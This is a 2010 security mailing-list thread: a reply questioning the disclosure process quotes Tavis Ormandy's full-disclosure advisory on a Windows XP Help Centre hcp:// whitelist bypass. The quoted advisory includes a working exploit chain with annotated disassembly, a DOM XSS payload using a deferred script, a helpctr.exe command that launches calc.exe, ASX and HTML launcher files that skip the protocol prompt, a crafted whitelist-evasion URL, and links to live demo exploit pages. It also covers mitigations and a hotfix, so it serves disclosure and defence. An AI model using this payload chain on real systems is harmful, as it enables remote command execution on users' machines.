Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly Jun 09 2010 11:46PM
Tavis Ormandy (taviso cmpxchg8b com) (2 replies)
Re: Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly Jun 10 2010 06:28PM
Jhfjjf Hfdsjj (taser3000 yahoo com)
Re: Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly Jun 10 2010 03:36PM
Susan Bradley (sbradcpa pacbell net) (1 replies)
I'm not an enterprise customer, but I am a mouthy female. So here's my
question back to you, for my education, how exactly did MSRC contact you

Since June 5th have you tried emailing back or any of your contacts from
past interactions and asked what was up? I'm disappointed in this lack
of communication I see on both sides. You are ...well... Tavis
Ormandy... I seriously doubt MSRC is blowing you off here.

Keep in mind we just had a LARGE patch week to deal with. I don't know
what was going on on their side, nor making excuses as I don't know what
communication you've had in the past and had on this issue ... I'm just
saying I would have spent a little more time getting mad at them and
sent a lot more emails back to them before posting this.

(And try dealing with Microsoft licensing sometime if you think security
communication is lacking)

Tavis Ormandy wrote:
> Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
> ------------------------------------------------------------------------
> Help and Support Centre is the default application provided to access online
> documentation for Microsoft Windows. Microsoft supports accessing help documents
> directly via URLs by installing a protocol handler for the scheme "hcp",
> a typical example is provided in the Windows XP Command Line Reference,
> available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
> Using hcp:// URLs is intended to be safe, as when invoked via the registered
> protocol handler the command line parameter /fromhcp is passed to the help
> centre application. This flag switches the help centre into a restricted mode,
> which will only permit a whitelisted set of help documents and parameters.
> This design, introduced in SP2, is reasonably sound. A whitelist of trusted
> documents is a safe way of allowing interaction with the documentation from
> less-trusted sources. Unfortunately, an implementation error in the whitelist
> allows it to be evaded.
> URLs are normalised and unescaped prior to validation using
> MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
> escape sequences into their original characters, the relevant code from
> helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
> .text:0106684C Unescape:
> .text:0106684C cmp di, '%' ; di contains the current wchar in the input URL.
> .text:01066850 jnz short LiteralChar ; if this is not a '%', it must be a literal character.
> .text:01066852 push esi ; esi contains a pointer to the current position in URL to unescape.
> .text:01066853 call ds:wcslen ; find the remaining length.
> .text:01066859 cmp word ptr [esi], 'u' ; if the next wchar is 'u', this is a unicode escape and I need 4 xdigits.
> .text:0106685D pop ecx ; this sequence calculates the number of wchars needed (4 or 2).
> .text:0106685E setz cl ; i.e. %uXXXX (four needed), or %XX (two needed).
> .text:01066861 mov dl, cl
> .text:01066863 neg dl
> .text:01066865 sbb edx, edx
> .text:01066867 and edx, 3
> .text:0106686A inc edx
> .text:0106686B inc edx
> .text:0106686C cmp eax, edx ; test if I have enough characters in input to decode.
> .text:0106686E jl short LiteralChar ; if not enough, this '%' is considered literal.
> .text:01066870 test cl, cl
> .text:01066872 movzx eax, word ptr [esi+2]
> .text:01066876 push eax
> .text:01066877 jz short NotUnicode
> .text:01066879 call HexToNum ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
> .text:0106687E mov edi, eax ; edi contains the running total of the value of this escape sequence.
> .text:01066880 movzx eax, word ptr [esi+4]
> .text:01066884 push eax
> .text:01066885 shl edi, 4 ; shift edi left 4 positions to make room for the next digit, i.e. total <<= 4;
> .text:01066888 call HexToNum
> .text:0106688D or edi, eax ; or the next value into the 4-bit gap, i.e. total |= val.
> .text:0106688F movzx eax, word ptr [esi+6]; this process continues for the remaining wchars.
> .text:01066893 push eax
> .text:01066894 shl edi, 4
> .text:01066897 call HexToNum
> .text:0106689C or edi, eax
> .text:0106689E movzx eax, word ptr [esi+8]
> .text:010668A2 push eax
> .text:010668A3 shl edi, 4
> .text:010668A6 call HexToNum
> .text:010668AB or edi, eax
> .text:010668AD add esi, 0Ah ; account for number of bytes (not chars) consumed by the escape.
> .text:010668B0 jmp short FinishedEscape
> .text:010668B2
> .text:010668B2 NotUnicode:
> .text:010668B2 call HexToNum ; this is the same code, but for non-unicode sequences (e.g. %41, instead of %u0041)
> .text:010668B7 mov edi, eax
> .text:010668B9 movzx eax, word ptr [esi]
> .text:010668BC push eax
> .text:010668BD call HexToNum
> .text:010668C2 shl eax, 4
> .text:010668C5 or edi, eax
> .text:010668C7 add esi, 4 ; account for number of bytes (not chars) consumed by the escape.
> .text:010668CA
> .text:010668CA FinishedEscape:
> .text:010668CA test di, di
> .text:010668CD jz short loc_10668DA
> .text:010668CF
> .text:010668CF LiteralChar:
> .text:010668CF push edi ; append the final value to the normalised string using a std::string append.
> .text:010668D0 mov ecx, [ebp+unescaped]
> .text:010668D3 push 1
> .text:010668D5 call std::string::append
> .text:010668DA mov di, [esi] ; fetch the next input character.
> .text:010668DD test di, di ; have we reached the NUL terminator?
> .text:010668E0 jnz Unescape ; process next char.
> This code seems sane, but an error exists due to how MPC::HexToNum() handles
> error conditions, the relevant section of code is annotated below.
> .text:0102D32A mov edi, edi
> .text:0102D32C push ebp
> .text:0102D32D mov ebp, esp ; function prologue.
> .text:0102D32F mov eax, [ebp+arg_0] ; fetch the character to convert.
> .text:0102D332 cmp eax, '0'
> .text:0102D335 jl short CheckUppercase ; is it a digit?
> .text:0102D337 cmp eax, '9'
> .text:0102D33A jg short CheckUppercase
> .text:0102D33C add eax, 0FFFFFFD0h ; atoi(), probably written val - '0' and optimised by compiler.
> .text:0102D33F jmp short Complete
> .text:0102D341 CheckUppercase:
> .text:0102D341 cmp eax, 'A'
> .text:0102D344 jl short CheckLowercase ; is it an uppercase xdigit?
> .text:0102D346 cmp eax, 'F'
> .text:0102D349 jg short CheckLowercase
> .text:0102D34B add eax, 0FFFFFFC9h ; atoi()
> .text:0102D34E jmp short Complete
> .text:0102D350 CheckLowercase:
> .text:0102D350 cmp eax, 'a'
> .text:0102D353 jl short Invalid ; lowercase xdigit?
> .text:0102D355 cmp eax, 'f'
> .text:0102D358 jg short Invalid
> .text:0102D35A add eax, 0FFFFFFA9h ; atoi()
> .text:0102D35D jmp short Complete
> .text:0102D35F Invalid:
> .text:0102D35F or eax, 0FFFFFFFFh ; invalid character, return -1
> .text:0102D362 Complete:
> .text:0102D362 pop ebp
> .text:0102D363 retn 4
> Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
> MPC::HexToNum() as required, and therefore can be manipulated into appending
> unexpected garbage onto std::strings. This error may appear benign, but we can
> use the miscalculations produced later in the code to evade the /fromhcp
> whitelist.
> Assuming that we can access arbitrary help documents (full details of how the
> MPC:: error can be used to accomplish this will be explained below), we must
> identify a document that can be controlled purely from the URL used to access it.
> After browsing the documents available in a typical installation, the author
> concluded the only way to do this would be a cross site scripting error. After
> some careful searching, a candidate was discovered:
> hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
> This document is available in a default installation, and due to insufficient
> escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
> to a DOM-type XSS. However, the escaping routine will abort encoding if characters
> such as '=' or '"' or others are specified.
> It's not immediately obvious that this error is still exploitable, simple
> tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
> isn't helpful as the code isn't evaluated again. In situations like this, the
> best course of action is to harass lcamtuf until he gives you the solution,
> which of course his encyclopaedic knowledge of browser security quirks produced
> immediately.
> <script defer>code</script>
> The defer property is an IE-ism which solves the problem, documented by
> Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
> Now that we are armed with knowledge of this trick, because these help
> documents are in a privileged zone, we can simply execute commands.
> You can test this with a command like so (assuming a recent IE):
> C:\> ver
> Microsoft Windows XP [Version 5.1.2600]
> C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
> C:\>
> While this is fun, this isn't a vulnerability unless an untrusted third party
> can force you to access it. Testing suggests that by default, accessing an
> hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
> other browsers) will result in a prompt. Although most users will click through
> this prompt (perfectly reasonable, protocol handlers are intended to be safe),
> it's not a particularly exciting attack.
> I've found a way to avoid the prompt in a default Windows XP installation in all
> major browsers, The solution is to invoke the protocol handler from within an
> <iframe> in an ASX HtmlView element. There are probably other ways.
> http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
> The version of Windows Media Player that is available by default in Windows XP
> is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
> content. Later versions also can be used, with some minor complications.
> Thus, the attack will look like this:
> $ cat simple.asx
> <ASX VERSION="3.0">
> <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starth
> <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-
> </ENTRY>
> </ASX>
> Where starthelp.html contains something like:
> $ cat starthelp.html
> <iframe src="hcp://...">
> Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
> $ cat launchurl.html
> <html>
> <head><title>Testing HCP</title></head>
> <body>
> <h1>OK</h1>
> <script>
> // HCP:// Vulnerability, Tavis Ormandy, June 2010.
> var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";

> if (window.navigator.appName == "Microsoft Internet Explorer") {
> // Internet Explorer
> var o = document.createElement("OBJECT");
> o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
> o.openPlayer(asx);
> } else {
> // Mozilla, Chrome, Etc.
> var o = document.createElement("IFRAME");
> o.setAttribute("src", asx);
> document.body.appendChild(o);
> }
> </script>
> </body>
> </html>
> Therefore, we have the following interactions between multiple complex systems
> chained together:
> - From an html page, email, document, or other application force a user to
> fetch a .ASX file containing an HtmlView element.
> - From the HtmlView element, invoke the hcp protocol handler that would normally
> require confirmation.
> - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
> string miscalculations caused by failing to check the return code of
> MPC::HexToNum().
> - Once the whitelist has been defeated, invoke the Help document with a known
> DOM XSS due to GetServerName() insufficient escaping.
> - Use the defer property of a script tag to execute script in a privileged zone
> even after the page has been rendered.
> - Invoke an arbitrary command using the wscript.shell object.
> Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
> whitelist took some analysis, but the result looks like the following.
> hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfom
> A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
> %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
> %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
> A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u00
> Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%2
> 3C/script%3E
> --------------------
> Affected Software
> ------------------------
> At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
> is enhanced against IE >= 8 and other major browsers if Windows Media Player is
> available, but an installation is still vulnerable without it.
> Machines running version of IE less than 8 are, as usual, in even more trouble.
> In general, choice of browser, mail client or whatever is not relevant, they
> are all equally vulnerable.
> --------------------
> Consequences
> -----------------------
> Upon successful exploitation, a remote attacker is able to execute arbitrary
> commands with the privileges of the current user.
> I've prepared a demonstration for a typical Windows XP installation with
> Internet Explorer 8, and the default Windows Media Player 9.
> http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.htm
> In IE7 on Windows XP, just visiting this URL should be sufficient:
> http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.htm
> Some minor modifications will be required to target other configurations, this
> is simply an attempt to demonstrate the problem. I'm sure the smart guys at
> metasploit will work on designing reliable attacks, as security professionals
> require these to do their jobs.
> Additionally, my demonstration is not intended to be stealthy, a real
> attack would barely be noticable to the victim. Perhaps the only unavoidable
> signal would be the momentary appearance of the Help Centre window before the
> attacker hides it. There are multiple trivial techniques that can be used to
> accomplish this.
> Browsers are useful to demonstrate the problem, but there are certainly other
> attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
> be used across applications.
> -------------------
> Mitigation
> -----------------------
> If you believe you may be affected, you should consider applying one of the
> workarounds described below.
> Few users rely on Help Centre urls, it is safe to temporarily disable them
> by removing HKCR\HCP\shell\open. This modification can be deployed easily using
> GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
> here
> http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
> A few caveats,
> * I am aware that some support technicians rely on the Remote Assistance
> tool provided by the Help Center application using shortcuts like
> "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
> to use this technique by substituting "explorer.exe hcp://..." for
> "helpctr.exe /url hcp://...", without relying on the protocol handler.
> * One or two links in explorer, such as selecting "Help" from the Control
> Panel category view, may no longer function. If this concerns you, it is
> possible to gracefully degrade by replacing the protocol handler with a
> command to open a static intranet support page, e.g.
> "chrome.exe http://techsupport.intranet".
> * As always, if you do not use this feature, consider permanently disabling
> it in order to reduce attack surface. Historically, disabling unused
> protocol handlers has always proven to be a wise investment in security.
> In the unlikely event that you heavily rely on the use of hcp://, I have
> created an unofficial (temporary) hotfix. You may use it under the terms of
> the GNU General Public License, version 2 or later. Of course, you should only
> use it as a last resort, carefully test the patch and make sure you understand
> what it does (full source code is included). It may be necessary to modify it
> to fit your needs.
> The package is availble for x86 here:
> http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip

> [ NOTE: Please avoid linking to this file out of context, it is intended for
> consideration as a potential mitigation by experienced administrators,
> and is not suitable for consumption by end-users ]
> The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
> return zero on error, rather than -1. Nothing is changed on disk, and it can be
> safely removed at anytime. Of course, the result of an invalid unescape is still
> incorrect, but this specific vulnerability should be rendered inert. I would be
> greatful if the community could contribute bugfixes, testing, an x64 port, and
> so on. Once information is in the open, we can all collaborate on our
> collective security.
> Some clarifications,
> * Fixing the XSS is not a solution, the root cause is the whitelist
> evasion, any mitigation that does not address this is simply papering
> over the issue. An army of researchers that specialise in XSS exists, and
> i'm sure they will turn their attention to help documents once they
> realise their value. Assume more will be discovered.
> * That said, if you are an XSS expert, examples in whitelisted pages
> (/services/index, /services/search, etc.) would be useful, your skills
> could be helpful making this important software safe.
> * Removing Windows Media player is not a solution, it simply makes a fun
> demo for IE8 and other modern browsers.
> Finally, you should take this opportunity to disable all browser plugins and
> SFS ActiveX controls that are not regularly used. End users can do this
> themselves in Google Chrome by viewing about:plugins and disabling the plugins
> that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
> interface.
> -------------------
> Solution
> -----------------------
> Microsoft was informed about this vulnerability on 5-Jun-2010, and they
> confirmed receipt of my report on the same day.
> Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
> has been the target of attacks multiple times in the past. I've concluded that
> there's a significant possibility that attackers have studied this component,
> and releasing this information rapidly is in the best interest of security.
> Those of you with large support contracts are encouraged to tell your support
> representatives that you would like to see Microsoft invest in developing
> processes for faster responses to external security reports.
> -------------------
> Credit
> -----------------------
> This bug was discovered by Tavis Ormandy.
> -------------------
> Greetz
> -----------------------
> Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
> Hawkes, Jagger, and all my other pimp colleagues.
> Special thanks to lcamtuf for his assistance with the deferred execution
> problem. You should read his Browser Security Handbook if you need to
> understand how web browser security /really/ works.
> http://code.google.com/p/browsersec/wiki/Main
> A colleague is organising a conference in Lucerne, Switzerland. He would really
> appreciate interesting papers from security people who want to talk about
> their research (travel, hotel, etc. covered).
> https://www.hashdays.ch/
> -------------------
> Notes
> -----------------------
> I would like to point out that if I had reported the MPC::HexToNum() issue
> without a working exploit, I would have been ignored.
> Without access to extremely smart colleagues, I would likely have given up,
> leaving you vulnerable to attack from those who just want root on your network
> and do not care about disclosure policies.
> This is another example of the problems with bug secrecy (or in PR speak,
> "responsible disclosure"), those of us who work hard to keep networks safe are
> forced to work in isolation without the open collaboration with our peers that
> we need, especially in complex cases like this, where creative thinking and
> input from experts in multiple disciplines is required to join the dots.
> A good place to start researching full disclosure would be this accessible
> and insightful essay by Bruce Schneier.
> http://www.schneier.com/essay-146.html
> His balanced coverage of the debate is also available in this essay.
> http://www.schneier.com/crypto-gram-0111.html#1
> Finally, a reminder that this documents contains my own opinions, I do
> not speak for or represent anyone but myself.
> -------------------
> References
> -----------------------
> hcp:// has been broken a few times over the years, for example:
> - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
> - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
> The current design is actually pretty sound, I'm sure Microsoft are
> dissapointed they missed this flaw. In their defense, I think there's a good
> chance I would have also missed this in code review.

[ reply ]
Re: Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly Jun 10 2010 04:00PM
Tavis Ormandy (taviso cmpxchg8b com) (1 replies)
Re: Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly Jun 10 2010 04:02PM
Susan Bradley (sbradcpa pacbell net)


Privacy Statement
Copyright 2010, SecurityFocus